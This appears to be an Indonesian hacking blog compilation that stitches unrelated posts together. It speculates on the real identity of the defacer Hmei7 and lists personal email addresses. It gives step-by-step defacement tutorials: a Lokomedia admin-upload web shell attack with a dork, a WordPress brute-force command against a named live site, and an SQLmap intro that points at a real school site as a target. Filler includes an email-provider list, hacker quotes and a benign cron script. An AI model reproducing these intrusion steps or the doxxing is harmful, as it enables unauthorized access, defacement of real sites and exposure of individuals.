Selamat Mencoba, :) Semoga Bermanfaat :)

Anda pasti tahu prankster terkenal yang merusak situs kepolisian Tucson, Hmei7,
hmei7 juga tercatat sebagai prankster & defacer urutan no 4 versi zone-h
http://www.zone-h.org/archive/defacer=Hmei7










ya itulah, sebuah nick dunia maya yang sampai saat ini belum teridentifikasi dengan pasti..

namun, kali ini, saya akan menelusiri jejak keberadaan & identitas asli Hmei7.

siapakah hmei7 sebenarnya?

tahun 2001 muncul id yang sangat sering muncul di net chat MirC dengan nick name kelinci_on2001, saya faham betul keadaan itu karena stiap hari saya selalu OL menggunakan fasilitas tersebut.
id kelinci dg alamat blitar itu selalu masuk pada link forum yg berhubungan dengan cyber & teknologi komputer. dia malang melintang mencari berbagai macam tutorial. fokus utamanya adalah tutorial carding.
saya sendiri dg id Cyber_net sering chat & tukar pikiran dengan dia, dia masih anak-anak, kala itu. sangat terlihat dr belum lihainya dalam mengoprek sistem di dunia maya.
saya sempat beberapa kali bertengkar dengan dia, awalnya sih bukan masalah besar, hanya karena Kelinci ini selalu ngotot & sok pintar.

lalu pada pertengahan tahun 2004 muncul id Y!M dengan nickname Hmei7@yahoo.com dan ternyata secondary email dr Hmei7 itu adalah kelinci_on2001@yahoo.com.
kebetulan atau tidak, yang jelas hmei7 berhubungan dekat dengan kelinci, bahkan saya yakin 100% pemilik email itu adalah 1 orang yang sama.
setelah dilihat, kelakuan kelinci & hmei7 mirip. keduanya suka join room di yahoo chat computer & internet.
silahkan anda mencobanya, join di room itu, & anda pasti akan mendapatkan id hmei7 juga ngendon di sana.
saya pun kenal baik dengan hmei7 itu, juga dari room itu.
perkenalan saya dengan hmei7 bermula saat dia ingin mencari software buat melacak pengetikan keyboard & mouse. entah akan digunakan untuk apa yang jelas saya curiga tool itu untuk sebuah kejahatan cyber.
lalu, saya menyarankan keyloger, tp dia tertawa terbahak-bahak, katanya keyloger sudah basi, dan sudah banyak antivirus yang membaca soft itu sebagai ancaman virus.
dia tetap dengan gaya lamanya, dia juga tidak menyadari bahwa id comp_admin adalah id saya juga.
berawal dr situ saya mulai kenal lbh jauh dengan hmei7,
saya pernah mengerjain dia, dan mengaku sebagai cewek yg kenal dia waktu di surabaya & blitar, saya sempat dikasih email friendster dia.. petani_nyengar_nyengir@yahoo.com, karena pada masa itu friendster memang sedang booming.
cihuy, hmei7 terjebak!!!

sampai saat ini pun id ym hmei7 masih sering online. coba anda add saja.. untuk pembuktian..

dan anehnya, saya baru sadar belakangan ini kalau ternyata hmei7 adalah prankster terkenal yg bermain underground..

sampai saat ini belum terungkap siapa defacer asal malang ini.

sumber : hacker-newbie.org

Deface Web Dengan lokomedia – Kali ini kami ingin ngasi tau cara Defaceweb . Dengan teknik LOKOMEDIA ..
Memang banyak web yang sudah tau tehnik ini dan segera patch web mereka, tapi ada beberapa web juga yang gak update dengan perkembangan h*cker diluar sana  .
Sebelumnya saya peringatkan bahwa saya tidak akan menanggung resiko yang kalian buat diluar sana.


Dork = allinurl:media.php?module=berita << Banyak WEB INDO nya
Sebagai contoh saya ambil website
http://dahli*********.com (cencored)

1.Cari halaman login admin nya, Download software pencari halaman login , Klik Disini

2.Setelah kita tau halaman login admin nya lalu kita tambahkan
/content.php?module=banner

Menjadi

http://dahli*********.com/admin/content.php?module=banner
#/admin/ diatas ialah halaman login adminnya (Tidak semua web halaman loginnya seperti itu)
#/content.php?module=banner adalah tempat kita mulai beraksi

3.Lalu ketika masuk ke url http://dahli*********.com/admin/content.php?module=banner Disitu kita klik tombol tambah banner

4.kemudian , isi kolom sesuai permintaan dan kolom link tidak usah diisi , kolom nama terserah mau apa aja , lalu yang terakhir isi dengan shell agan

#Shell adalah suatu script menyerupai file manager , kita bisa merubah apapun didalam filemanager asal permissionnya di ijinkan #Download shell di google

5.nah untuk ngecek apakah shell kita work atau nggak silahkan buka
http://dahli********.com/admin/foto_berita/shell.php

6. kalau berhasil terbuka berarti kita tinggal masuk dalam web shell kita dan jangan lupa pindahkan web shell nya ke folder web yang cukup aman biar web shell kita awet dan langgeng tertanam di website tersebut.

7. tinggal ganti index.php nya ajah deh kalau mau tega – tegaan mah
Selesai dah  , ' Thankz ' Semoga Bermanfaat !!

Email merupakan salah satu layanan yang tersedia di internet. Layanan ini digunakan untuk saling korespondensi antar teman, relasi, lembaga dan lain sebagainya. Saat ini yang merajai layanan email ada 3 yaitu Hotmail, Yahoo, dan Gmail. Sebenarnya masih banyak situs penyedia layanan email secara gratis.

Nama Situs	Alamat Situs
Gmail	http://www.gmail.com/
Yahoo	http://www.yahoo.com/
Hotmail	http://www.live.com/
In	http://www.in.com/
Burnt Mail	http://burntmail.com/
Ovi	http://www.ovi.com/
Aol	http://www.aol.com/
CCC E-mail	http://www.cheatcc.com/signup.html
Zzn	http://www.zzn.com/
Code Hot Uk	http://www.codehot.co.uk/emailpage.htm
Cosmic Email	http://www.cosmicemail.com/
Mail.com	http://www.mail.com/id-en/
Dublin.ie	http://www.dublin.ie/email-features.htm
Hot Dak	http://www.hotdak.net/
Icq Mail	http://www.icqmail.com/
Hush Mail	http://www.hushmail.com/
Gurlmail	http://www.gurlmail.com/
Email Account	http://www.emailaccount.com/
House Music	http://www.housemusic.com/

Cuma itu saja yang saya berikan beberapa alamat situs untuk membuat email gratis. Semoga berguna untuk anda semua. Terima kasih.

Pertama Download Bahan-Bahannya:

WPBruteforce

Dork: inurl:/wp-login.php

Yup, saatnya kita beraksi.. :)

Live Target: http://www.van-wieringen.nl

Pertama, Extract File yg didownload tadi di Directori C: sehingga posisi menajdi C:\WPBrute

Lalu buka comand dengan cara : Klik Start>Run>ketik cmd

Biasanya posisi default directories di Cmd : C:\User\User_Name>

Ubah posisi directori dgn cara: ketik cd.. trus enter!

ex:
C:\User\User_Name>cd..
C:\User>cd..
C:\>

 Lalu  setelah itu masukkan perintah C:\>cd WPBrute lalu tekan enter! 



Buka file dengan mengetik perintah: WPBorce.exe maka Akan muncul tampilan seperti gambar!


Lalu masukkan perintah: WPBforce.exe -url=http://www.tvbba.nl -user=admin -pass=wordlist.txt -threads=10



Lalu tekan enter!

Tunggu proses hingga selesai!



Wew! Berhasil tuh! wkwkwk Mantap! :p

Langsung Login dah!

1. Gambar yang besar
2. Multiple Feed
3. Konsistensi Mobile

Video

Waiting List

Saya hebat karena belajar, saya tahu karena membaca, saya mahir karena praktik ( try and error ). Trust me, Knowledge Is King.

Para dewa yang dipuja didunia hacker, yaitu mereka yang telah menulis program besar yang berkemampuan tinggi dan dibutuhkandimana-mana, lalu memberikan program itu secara cuma-cuma dan sekarang program itu telah dipakai setiap orang.

Hacker tidak bersedia menghabiskan waktu dengan orang-orang yang hanya bersikap seperti hacker, tapi hacker memuja keahlian - terutama keahlian dalam dunia hacking dan sekuritas, juga keahlian dibidang apapun.

Skill seorang hacker bukan dilihat dari besarnya perkataan, melainkan dilihat dari suatu hasil besar yang telah dibuatnya.

Seorang hacker harus siap dihack, Jika tidak siap dihack jangan jadi hacker.

Sikap hacker penting, tapi terlebih penting lagi keahlian. Sikap bukan pengganti keahlian, dan ada seperangkat keahlian menggunakan perangkat tools yang perlu anda kuasai sebelum orang bahkan bisa berfikir memanggil anda hacker. Trust me, Expertise Is Important.

Befikirlah sebagai seorang pemula, maka dunia ini akan terbuka bagimu.

Learn Security | Learn Programming | Use Linux |  Debugging Program |  Write a Code | Share to your Community. ( I  Think It's The Way Of Hacker )

Jika memang membaca adalah hal yang paling membosankan dalam belajar, maka carilah seorang tutor. Trus me, Tutor will guide you to learn!

Hackerlah yang membuat sistem operasi Unix menjadi seperti sekarang, Hackerlah yang mengoperasikan Usenet, Hackerlah yang membuat World Wide Web berjalan. Jika anda bagian dari budaya ini, jika anda telah menyumbangkan sesuatu untuk budaya ini, dan rekan lain didalamnya mengenali anda sebagai seorang hacker, maka seorang hackerlah anda.

Lagu pula Unix-lah sistem operasi internet, Meski tentu bisa belajar menggunakan internet tanpa mengenal Unix, tapi anda tak akan mampu menjadi hacker internet tanpa mengenal Unix. Trust me, Use Unix, Unix Is Better.

Saya memang tidak pandai dibidang hacking, saya juga tidak pernah mendalami bidang hacking itu sendiri, tapi saya mendapatkannya dari saya ketika belajar sekuritas. Trust me, Secutiry Is Better.

Tidak seharusnya sumber daya ini diboroskan hanya untuk memikirkan kembali suatu persoalan dari dasar, Padahal ada begitu banyak masalah menarik baru lain didunia ini yang menanti. Trust me, Creative brains are a valuable resource and limited!

Bisa saja anda menjadi psikolog tanpa anda harus menjadi mahasiswa psikolog, seperti halnya menjadi programmer tanpa dia menjadi mahasiswa disuatu universitas. Itu bukan sekedar mimpi bagi kalian, semua bisa kalian dapat hanya dengan membaca. Trus me, Reading will make dreams come true!

Free Unlimited CRON scheduled jobs tasks scripts, NO limitations, FULL features, YOUR own free account.

Keuntungan dari Cronjob yang kita akan buat:

• Setup sederhana dan interface mudah digunakan
• Cron ini memungkinkan pengguna untuk mengeksekusi atau menjalankan perintah/script apapun secara otomatis pada interval waktu yang ditetapkan pengguna
• Bekerja/berfungsi pada semuga jenis server hosting
• Cronjob Replacement, dapat memanggil script pada interval waktu yang ditetapkan sendiri
• 100% aman
• 100% gratis!
• Tidak diperlukan keterampilan dalam pemograman
• Cron tidak dibatasi
• Menyimpan hasil cron ke database
• dll.

Fitur Cronjob yang kita buat:

• Tidak perlu aktivasi dan verifikasi
• Tinggal mengcopy paste URL untuk menjalankan Cron
• Waktu dapat dijadwalkan setiap menit, setiap jam, setiap hari, setiap minggu, dll.
• Jadwal cron dapat diatur pada waktu tertentu, contoh: setiap jam 1 pm - 3 pm
• Pemberitahuan jika eksekusi cron berhasil
• Pemberitahuan instant melalui email jika cron gagal
• Script yang dapat di panggil: PHP, Python, Ruby On Rails, JSP, ASP, ASP.NET, PERL, dll.
• dll.

Oke, langsung saja tutorialnya :)
Pertama buka Google Drive [drive.google.com]
Jika Anda belum login, silakan login dulu. Setelah itu, kita buat log cronjob nya dengan cara membuat Spreadsheet.

Setelah membuat spreadsheet, edit nama spreadsheet menjadi CronLog.
Copy URL yang ada di address bar spreadsheet, karena kita membutuhkan key nya.
Lihat URL, spreadsheet. Contoh: https://docs.google.com/spreadsheet/ccc?key=0Atr3j1nvzsd2ZuUJqU1JtbVVlFqdGRXYUxKSMUdLE#gid=0
Berarti Key nya: 0Atr3j1nvzsd2ZuUJqU1JtbVVlFqdGRXYUxKSMUdLE
Kedua, klik Menu Alat lalu pilih Pengelola skrip.

Buat script baru kalau belum ada
. Copy source code berikut dan paste di Kode.gs

function cronExecute() {

var url = "http://www.WEBSITEANDA.com/URL";

var options = {
"method" : "get",
"headers" : {'User-Agent' : 'Mozilla Firefox 14.0',
             'Accept-Charset' : 'ISO-8859-1,utf-8;q=0.7,*;q=0.7'
            },
"payload" : "",
"contentType" : "application/xml; charset=utf-8"
};

var request_starttime = new Date();
// fetch the HTTP / HTTPS request and get the response
var response = UrlFetchApp.fetch(url,options);
var request_endtime = new Date();

// use any spreadsheet, use its key
// var ss = SpreadsheetApp.openById("KEY-SHEET");
// use this script's default spreadsheet
var ss = SpreadsheetApp.getActiveSpreadsheet();
// get the worksheet
var sheet = ss.getSheets()[0];

// inserting values into the sheet
sheet.insertRowBefore(1);
var colValues = [[ request_starttime, request_endtime,
                 response.getResponseCode(), response.getHeaders().toSource(),
                 url, response.getContentText() ]];
sheet.getRange(1, 1, 1, 6).setValues(colValues);

// if something is not working, use the Logger object/function (uncomment it and modify it)
// Logger.log(ss.getSpreadsheetTimeZone());

// view the log details from VIEW -> LOGS

// You can also RUN the script and view its Execution log
// try this VIEW -> EXECUTION TRANSCRIPTS

// Make sure you MODIFY and then RUN the script and
// verify its working OK by looking at the spreadsheet contents
// try this RUN -> CRONEXECUTE
// check the spreadsheet contents

// After its working OK, you should setup a TRIGGER to execute it as and when you want (frequency)
// try this TRIGGERS -> ALL YOUR TRIGGERS

}

Ganti WEBSITEANDA.COM/URL dengan URL yang ingin di execute Cron.
Ganti KEY-SHEET dengan key spreadsheet Anda.

Sekarang adalah step terakhir dimana kita harus men-setup atau mengkonfigurasi frekuensi pemicu(triggers) untuk kapan dan berapa kali Cron akan dieksekusi.
Lihat gambar di bawah ini

Pilih Pemicu skrip saat ini...
Lalu klik No triggers set up. Click here to add one now

Lalu ganti From Spreadsheet di bagian Events menjadi Time-driven.

Setelah itu, waktu bisa diatur sesuai dengan yang kita inginkan. Lihat gambar dibawah ini.
Jika sudah di setting waktunya, tinggal klik Save

Jika Cron nya tidak mau di kasih log, tinggal buka Google Drive, klik Baru, pilih Lainnya, lalu pilih Skrip

function cronExecute() {

var url = "http://DOMAINANDA.com/URL";

var options = {
"method" : "get",
"headers" : {'User-Agent' : 'Mozilla Firefox 14.0',
             'Accept-Charset' : 'ISO-8859-1,utf-8;q=0.7,*;q=0.7'
            },
"payload" : "",
"contentType" : "application/xml; charset=utf-8"
};

var request_starttime = new Date();
// fetch the HTTP / HTTPS request and get the response
var response = UrlFetchApp.fetch(url,options);
var request_endtime = new Date();
}

Cara setting waktunya sama kaya cara kalau pake Log.

Lu mau Chattingan bagus hehe ??
WWW.HENDROO.COM 

Halo para sobat Hackinggroups, kali ini saya akan menulis tentang Cara Deface Dengan SQL Injection yang dikenal dengan teknik SQLmap di BackTrack. Tools ini sudah ada di dalam File .ISO pada BackTrack.
Disini, saya menggunakan BackTrack 5 R3.
Pertama-tama, cari target yang vuln terhadap SQL Injection, berikut ini sedikit dork dari saya :

Untuk yang ingin belajar SQL Map, silahkan menggunakan live target http://www.sman2sidoarjo.sch.id/beritaLengkap.php?id=5